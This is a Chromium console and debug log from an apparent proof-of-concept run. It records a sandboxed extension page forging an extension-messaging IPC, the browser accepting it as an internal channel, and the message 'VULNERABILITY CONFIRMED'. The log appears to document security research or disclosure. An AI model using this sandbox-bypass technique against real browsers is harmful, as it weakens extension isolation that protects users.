[1041:1041:0512/090456.560039:INFO:CONSOLE:7] "[POC][SW] Service worker started, my id = chkhegdnmbhmcbelbldbpibnhinjjlpa", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (7)
[1180:1180:0512/090456.780925:ERROR:extensions/renderer/extension_frame_helper.cc:159] [POC][renderer] Sandboxed extension page committed: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sandbox.html
[1180:1180:0512/090456.781054:ERROR:extensions/renderer/extension_frame_helper.cc:160] [POC][renderer] Forging OpenChannelToExtension from sandboxed process; claiming source_endpoint.type=kExtension, id=chkhegdnmbhmcbelbldbpibnhinjjlpa
[1180:1180:0512/090456.781227:ERROR:extensions/renderer/extension_frame_helper.cc:190] [POC][renderer] OpenChannelToExtension IPC sent.
[1041:1041:0512/090456.867081:ERROR:extensions/browser/api/messaging/message_service_bindings.cc:95] [POC][browser] IsValidMessagingSource: source claims Type::kExtension, but IsPortContextSandboxed()=TRUE (process_id=9, ext_id=chkhegdnmbhmcbelbldbpibnhinjjlpa)
[1041:1041:0512/090456.867138:ERROR:extensions/browser/api/messaging/message_service_bindings.cc:124] [POC][browser] IsValidMessagingSource: CanRendererHostExtensionOrigin(is_sandboxed=true) PASSED -> accepting kExtension source from sandboxed process. Channel will be treated as INTERNAL.
[1041:1041:0512/090456.879537:INFO:CONSOLE:11] "[POC][SW] **** runtime.onConnect FIRED ****", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (11)
[1041:1041:0512/090456.881729:INFO:CONSOLE:12] "[POC][SW]   port.name     = "poc-from-sandbox"", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
[1041:1041:0512/090456.881821:INFO:CONSOLE:13] "[POC][SW]   sender.id     = "chkhegdnmbhmcbelbldbpibnhinjjlpa"", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (13)
[1041:1041:0512/090456.881892:INFO:CONSOLE:14] "[POC][SW]   sender.url    = "chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js"", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (14)
[1041:1041:0512/090456.881943:INFO:CONSOLE:15] "[POC][SW]   sender.origin = "null"", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (15)
[1041:1041:0512/090456.881989:INFO:CONSOLE:18] "[POC][SW] !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (18)
[1041:1041:0512/090456.882037:INFO:CONSOLE:19] "[POC][SW] !! VULNERABILITY CONFIRMED: sandboxed page opened an     !!", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (19)
[1041:1041:0512/090456.882081:INFO:CONSOLE:20] "[POC][SW] !! INTERNAL channel (sender.id == self). The browser     !!", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (20)
[1041:1041:0512/090456.882124:INFO:CONSOLE:21] "[POC][SW] !! accepted MessagingEndpoint::Type::kExtension from a   !!", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (21)
[1041:1041:0512/090456.882181:INFO:CONSOLE:22] "[POC][SW] !! manifest-sandboxed process.                           !!", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (22)
[1041:1041:0512/090456.882231:INFO:CONSOLE:23] "[POC][SW] !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (23)
[1041:1041:0512/090456.882280:INFO:CONSOLE:25] "[POC][SW]   (sender.origin is "null" -> the only browser-derived", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (25)
[1041:1041:0512/090456.882328:INFO:CONSOLE:26] "[POC][SW]    signal that this came from a sandboxed context.)", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (26)